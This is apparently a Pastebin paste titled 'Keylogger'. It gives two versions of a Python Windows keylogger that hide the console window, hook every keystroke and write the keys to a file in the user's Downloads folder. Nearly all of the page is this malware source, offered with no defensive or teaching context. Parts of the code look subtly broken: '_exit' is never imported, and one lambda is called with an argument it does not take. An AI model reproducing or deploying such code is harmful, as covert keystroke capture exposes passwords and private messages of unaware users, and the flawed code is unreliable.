Advertisement
Sweetening

Keylogger

Jan 18th, 2025 (edited)
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.56 KB | None | 0 0
  1. ----------------------------------------------------------
  2. ----------------------------------------------------------
  3.  
  4. import win32console
  5. import win32gui
  6. import pythoncom
  7. import pyHook
  8. import os
  9.  
  10. print("""
  11. \x1b[38;2;255;255;255m███████╗██╗ ███████╗███████╗██████╗
  12. \x1b[38;2;255;255;255m██╔════╝██║ ██╔════╝██╔════╝██╔══██╗
  13. \x1b[38;2;255;255;255m███████╗██║ █████╗ █████╗ ██████╔╝
  14. \x1b[38;2;255;255;255m╚════██║██║ ██╔══╝ ██╔══╝ ██╔═══╝
  15. \x1b[38;2;255;255;255m███████║███████╗███████╗███████╗██║
  16. \x1b[38;2;255;255;255m╚══════╝╚══════╝╚══════╝╚══════╝╚═╝
  17. \x1b[38;2;0;255;58m>(setup)""")
  18.  
  19.  
  20. # Hide the console window
  21. win = win32console.GetConsoleWindow()
  22. win32gui.ShowWindow(win, 0)
  23.  
  24. # Define the output file path using the default user path
  25. output_file = os.path.join(os.path.expanduser('~'), 'Downloads', 'output.txt')
  26.  
  27. # Create or clear the output file at the start
  28. with open(output_file, 'w') as f:
  29. f.write('Incoming keys:\n')
  30.  
  31. # Define key action functions
  32. def handle_ctrl_e(event):
  33. _exit(1)
  34.  
  35. def handle_enter(event):
  36. return '\n'
  37.  
  38. def handle_default(event):
  39. return chr(event.Ascii)
  40.  
  41. # Create a dictionary to map key codes to handling functions
  42. key_action_map = {
  43. 5: handle_ctrl_e,
  44. 13: handle_enter
  45. }
  46.  
  47. # Default handler function if no specific action is defined
  48. def get_key_action(event):
  49. return key_action_map.get(event.Ascii, handle_default)(event)
  50.  
  51. # Define the event handler function
  52. def OnKeyboardEvent(event):
  53. if event.Ascii != 0 and event.Ascii != 8: # Ignore null and backspace
  54. keylogs = get_key_action(event)
  55. with open(output_file, 'a') as f:
  56. f.write(keylogs) # Append the key logs
  57.  
  58. # Set up the hook manager
  59. hm = pyHook.HookManager()
  60. hm.KeyDown = OnKeyboardEvent
  61. hm.HookKeyboard()
  62. pythoncom.PumpMessages()
  63. ----------------------------------------------------------
  64. ----------------------------------------------------------
  65. Part 2
  66. ----------------------------------------------------------
  67. ----------------------------------------------------------
  68. import win32console
  69. import win32gui
  70. import pythoncom
  71. import pyHook
  72. import os
  73.  
  74. # Print the initial setup message
  75. print("""
  76. \x1b[38;2;255;255;255m███████╗██╗ ███████╗███████╗██████╗
  77. \x1b[38;2;255;255;255m██╔════╝██║ ██╔════╝██╔════╝██╔══██╗
  78. \x1b[38;2;255;255;255m███████╗██║ █████╗ █████╗ ██████╔╝
  79. \x1b[38;2;255;255;255m╚════██║██║ ██╔══╝ ██╔══╝ ██╔═══╝
  80. \x1b[38;2;255;255;255m███████║███████╗███████╗███████╗██║
  81. \x1b[38;2;255;255;255m╚══════╝╚══════╝╚══════╝╚══════╝╚═╝
  82. \x1b[38;2;0;255;58m>(setup)
  83. """)
  84.  
  85. # Hide the console window
  86. win = win32console.GetConsoleWindow()
  87. win32gui.ShowWindow(win, 0)
  88.  
  89. # Define the output file path using the default user path
  90. output_file = os.path.join(os.path.expanduser('~'), 'Downloads', 'output.txt')
  91.  
  92. # Create or clear the output file at the start
  93. with open(output_file, 'w') as f:
  94. f.write('Incoming keys:\n')
  95.  
  96. # Key mapping for different actions
  97. key_map = {
  98. 5: lambda: _exit(1), # Ctrl + E exits the program
  99. 13: lambda: '\n', # Enter key generates a newline
  100. }
  101.  
  102. # Default action for other keys
  103. default_action = lambda event: chr(event.Ascii)
  104.  
  105. # The main event handler function
  106. def OnKeyboardEvent(event):
  107. action = key_map.get(event.Ascii, default_action)
  108. keylogs = action(event) if callable(action) else action
  109. if event.Ascii not in [0, 8]: # Ignore null and backspace
  110. with open(output_file, 'a') as f:
  111. f.write(keylogs) # Append the key logs
  112.  
  113. # Set up the hook manager
  114. hm = pyHook.HookManager()
  115. hm.KeyDown = OnKeyboardEvent
  116. hm.HookKeyboard()
  117. pythoncom.PumpMessages()
  118. ----------------------------------------------------------
  119. ----------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement